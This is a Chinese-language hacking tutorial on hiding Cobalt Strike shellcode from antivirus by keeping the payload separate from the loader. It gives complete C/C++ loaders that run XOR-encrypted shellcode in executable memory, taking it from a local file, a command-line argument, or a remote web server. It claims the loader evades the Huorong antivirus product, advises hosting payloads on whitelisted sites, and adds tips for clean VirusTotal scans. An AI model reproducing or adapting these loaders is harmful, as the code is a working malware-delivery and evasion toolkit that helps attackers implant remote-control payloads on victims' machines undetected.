Shellcode分离隐藏-让杀毒找不到
内存免杀
内存免杀是将shellcode直接加载进内存,由于没有文件落地,因此可以绕过文件扫描策略的查杀。为了使内存免杀的效果更好,在申请内存时一般采用渐进式申请一块可读写内存,在运行时改为可执行,在执行的时候遵循分离免杀的思想。分离免杀包含对特征和行为的分离两个维度,把shellcode从放在程序转移到加载进内存,把整块的ShellCode通过分块传输的方法上传然后再拼接,这些体现了基本的"分离"思想。
➢C2远控-ShellCode分离-C/C++从文本中提取
加载器直接加载代码中的shellcode进行上线
加载器加载本地文件(图片、文本)读取数据=shellcode进行上线
目录2个文件:xxxx.exe xxx.bin
可升级:混淆加密xxx.bin,读取后进行解密执行
1、运行如下代码生成exe
#include<Windows.h>
#include <stdio.h>
#include <fstream>
#include<iostream>
using namespace std;
void load(char* buf, int shellcode_size)
{
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
CopyMemory(shellcode, buf, shellcode_size);
//CreateThread函数,创建线程
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 若成功,接收新创建的线程的线程ID DWORD变量的地址。
);
//通过调用 WaitForSingleObject 函数来监视事件状态,当事件设置为终止状态(WaitForSingleObject 返回 WAIT_OBJECT_0)时,每个线程都将自行终止执行。
WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
}
int wmain(int argc, char* argv[])
{
char filename[] = "p64.bin";
// 以读模式打开文件
ifstream infile;
//以二进制方式打开
infile.open(filename, ios::out | ios::binary);
infile.seekg(0, infile.end); //追溯到流的尾部
int length = infile.tellg(); //获取流的长度
infile.seekg(0, infile.beg);//回溯到流头部
char* data = new char[length]; //存取文件内容
if (infile.is_open()) {
cout << "reading from the file" << endl;
infile.read(data, length);
}
cout << "size of data =" << sizeof(data) << endl;
cout << "size of file =" << length << endl;
for (int i = 0; i < length; i++)
{
printf("\\%x ", data[i]);
}
for (int i = 0; i < length; i++)
{
data[i] ^= 0x39;
}
int shellcode_size = length;
load(data, shellcode_size);
//加载成功并不会输出,推测load函数新创建的线程执行结束后,主进程也终止了。
cout << "加载成功";
return 0;
}
2、cs生成p64.bin shellcode文件 把两个文件放在同一个目录运行,shellocode进行0x39异或加密
➢C2远控-ShellCode分离-C/C++从参数中提取
加载器直接加载代码中的shellcode进行上线
接受执行文件后续的参数作文shellcode
#include<Windows.h>
#include <stdio.h>
#include <fstream>
#include<iostream>
using namespace std;
void load(char* buf, int shellcode_size)
{
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
CopyMemory(shellcode, buf, shellcode_size);
//CreateThread函数,创建线程
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 若成功,接收新创建的线程的线程ID DWORD变量的地址。
);
//通过调用 WaitForSingleObject 函数来监视事件状态,当事件设置为终止状态(WaitForSingleObject 返回 WAIT_OBJECT_0)时,每个线程都将自行终止执行。
WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
}
int wmain(int argc, char* argv[])
{
int len = strlen(argv[1]);
char* filename = new char[len + 1];
strcpy(filename, argv[1]);
//参数发送的文件名读取 发送的数据流
// 以读模式打开文件
ifstream infile;
//以二进制方式打开
infile.open(filename, ios::out | ios::binary);
infile.seekg(0, infile.end); //追溯到流的尾部
int length = infile.tellg(); //获取流的长度
infile.seekg(0, infile.beg);//回溯到流头部
char* data = new char[length]; //存取文件内容
if (infile.is_open()) {
cout << "reading from the file" << endl;
infile.read(data, length);
}
cout << "size of data =" << sizeof(data) << endl;
cout << "size of file =" << length << endl;
for (int i = 0; i < length; i++)
{
printf("\\%x ", data[i]);
}
for (int i = 0; i < length; i++)
{
data[i] ^= 0x39;
}
int shellcode_size = length;
load(data, shellcode_size);
//加载成功并不会输出,推测load函数新创建的线程执行结束后,主进程也终止了。
cout << "加载成功";
return 0;
}
shellcode文件进行0x39异或加密
在cmd执行命令:xxxx.exe shellcode 文件发现可以上线,可以绕过火绒
可升级:xxxx.exe shellcode password
➢C2远控-ShellCode分离-C/C++从网站中提取
加载器直接加载代码中的shellcode进行上线
加载器加载访问网站(web http协议)获取数据=shellcode进行上线
1、请求获取到数据(shellcode)
2、shellcode进行调用执行
1、首先用cs生成c的shellcode文件, 将shellcode转换成十进制,代码如下
#include<Windows.h>
#include <stdio.h>
//将shellcode转换成10机制
unsigned char buf[] = "这里放shellcode";
int main()
{
int shellcode_size = sizeof(buf);
printf("shellcodesize=%d \n", shellcode_size);
for (int i = 0; i < shellcode_size; i++) {
printf("%d,", buf[i]);
}
}
2、再kali中启动服务端,将生成的10进制文件放在aaaaa.txt文件中
3、生成文件,并运行发现可以上线
#include <string>
#include <windows.h>
#include <winhttp.h>
#include<iostream>
#include "file.cpp"
#pragma comment(lib, "winhttp.lib")
using namespace std;
char* WinGet(char* ip, int port, char* url)
{
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
HINTERNET hRequest = NULL;
//************ 将char转换为wchar_t *****************/
int ipSize;
wchar_t* ip_wchar;
//返回接受字符串所需缓冲区的大小,已经包含字符结尾符'\0'
ipSize = MultiByteToWideChar(CP_ACP, 0, ip, -1, NULL, 0); //iSize =wcslen(pwsUnicode)+1=6
ip_wchar = (wchar_t*)malloc(ipSize * sizeof(wchar_t)); //不需要 pwszUnicode = (wchar_t *)malloc((iSize+1)*sizeof(wchar_t))
MultiByteToWideChar(CP_ACP, 0, ip, -1, ip_wchar, ipSize);
int urlSize;
wchar_t* url_wchar;
//返回接受字符串所需缓冲区的大小,已经包含字符结尾符'\0'
urlSize = MultiByteToWideChar(CP_ACP, 0, url, -1, NULL, 0); //iSize =wcslen(pwsUnicode)+1=6
url_wchar = (wchar_t*)malloc(urlSize * sizeof(wchar_t)); //不需要 pwszUnicode = (wchar_t *)malloc((iSize+1)*sizeof(wchar_t))
MultiByteToWideChar(CP_ACP, 0, url, -1, url_wchar, urlSize);
//************ ********************************* *****************/
//port = 80; //默认端口
//1. 初始化一个WinHTTP-session句柄,参数1为此句柄的名称
hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
cout << "Error:Open session failed: " << GetLastError() << endl;
exit(0);
}
//2. 通过上述句柄连接到服务器,需要指定服务器IP和端口号 INTERNET_DEFAULT_HTTP_PORT:80。若连接成功,返回的hConnect句柄不为NULL
hConnect = WinHttpConnect(hSession, ip_wchar, port, 0);
if (hConnect == NULL) {
cout << "Error:Connect failed: " << GetLastError() << endl;
exit(0);
}
//3. 通过hConnect句柄创建一个hRequest句柄,用于发送数据与读取从服务器返回的数据。
hRequest = WinHttpOpenRequest(hConnect, L"GET", url_wchar, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
//其中参数2表示请求方式,此处为Get;参数3:给定Get的具体地址,如这里的具体地址为https://www.citext.cn/GetTime.php
if (hRequest == NULL) {
cout << "Error:OpenRequest failed: " << GetLastError() << endl;
exit(0);
}
BOOL bResults;
//发送请求
bResults = WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS,
0, WINHTTP_NO_REQUEST_DATA, 0,
0, 0);
if (!bResults) {
cout << "Error:SendRequest failed: " << GetLastError() << endl;
exit(0);
}
else {
//(3) 发送请求成功则准备接受服务器的response。注意:在使用 WinHttpQueryDataAvailable和WinHttpReadData前必须使用WinHttpReceiveResponse才能access服务器返回的数据
bResults = WinHttpReceiveResponse(hRequest, NULL);
}
LPVOID lpHeaderBuffer = NULL;
DWORD dwSize = 0;
//4-3. 获取服务器返回数据
LPSTR pszOutBuffer = NULL;
DWORD dwDownloaded = 0; //实际收取的字符数
wchar_t* pwText = NULL;
if (bResults)
{
do
{
//(1) 获取返回数据的大小(以字节为单位)
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) {
cout << "Error:WinHttpQueryDataAvailable failed:" << GetLastError() << endl;
break;
}
if (!dwSize) break; //数据大小为0
//(2) 根据返回数据的长度为buffer申请内存空间
pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer) {
cout << "Out of memory." << endl;
break;
}
ZeroMemory(pszOutBuffer, dwSize + 1); //将buffer置0
//(3) 通过WinHttpReadData读取服务器的返回数据
if (!WinHttpReadData(hRequest, pszOutBuffer, dwSize, &dwDownloaded)) {
cout << "Error:WinHttpQueryDataAvailable failed:" << GetLastError() << endl;
}
if (!dwDownloaded)
break;
} while (dwSize > 0);
//4-4. 将返回数据转换成UTF8
DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, pszOutBuffer, -1, NULL, 0); //返回原始ASCII码的字符数目
pwText = new wchar_t[dwNum]; //根据ASCII码的字符数分配UTF8的空间
MultiByteToWideChar(CP_UTF8, 0, pszOutBuffer, -1, pwText, dwNum); //将ASCII码转换成UTF8
//printf("\n返回数据为:\n%S\n\n", pwText);
}
//5. 依次关闭request,connect,session句柄
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
/****************** 将wchar转换为char *******************/
int iSize;
char* data;
//返回接受字符串所需缓冲区的大小,已经包含字符结尾符'\0'
iSize = WideCharToMultiByte(CP_ACP, 0, pwText, -1, NULL, 0, NULL, NULL); //iSize =wcslen(pwsUnicode)+1=6
data = (char*)malloc(iSize * sizeof(char)); //不需要 pszMultiByte = (char*)malloc(iSize*sizeof(char)+1);
WideCharToMultiByte(CP_ACP, 0, pwText, -1, data, iSize, NULL, NULL);
return data;
}
char* StrToShellcode(char str[])
{
char buf[2048];
const char s[2] = ",";
char* token;
int i = 0;
/* 获取第一个子字符串 */
token = strtok(str, s);
//buf[i] = char(stoi(token));
/* 继续获取其他的子字符串 */
while (token != NULL) {
buf[i] = char(stoi(token)); //stoi函数将字符串转换整数
printf("%s %d\n", token, i);
printf("%x\n", stoi(token));
token = strtok(NULL, s);
i++;
}
load(buf, 2048); //晕了,指针传参回主函数不会了,先在这加载了
return buf;
}
int main(int argc, char* argv[])
{
char* data;
const char ip[16] = "www.aliyun.com";
char* ips = const_cast<char*>(ip);
const char url[11] = "aaaaa.txt";
char* urls = const_cast<char*>(url);
data = WinGet(ips, 8888, urls);
cout << "返回的数据为: " << data << endl;
//执行shellcode
char* buf = StrToShellcode(data);
cout << argc;
if (argc > 2) { //命令行参数大于两个时才加载
char* buf = StrToShellcode(data);
}
}
url:http://xx.xx.xx.xx/sc.txt
可升级:
1、可以在绿标白名单的网站上找一个存储路径充当
2、将shellcode的十进制代码进行混淆
➢C2远控-ShellCode分离-C/C++从管道中提取
(查杀特征大,不建议使用)
1、client客户端去发送shellcode给server服务端
2、server服务端去接受到shellcode进行加载上线
*socket,pipe等技术 *
利用建立网络通讯管道,在发送ShellCode接受执行
可升级:可以在发送过程中进行混淆加密,接受后进行解密执行
补充:
编辑器设置 VS绕过360QVM,VT全绿
https://mp.weixin.qq.com/s/UJlVvagNjmy9E-B-XjBHyw
编译器差异 G++ GCC
https://blog.youkuaiyun.com/weixin_41012767/article/details/129365597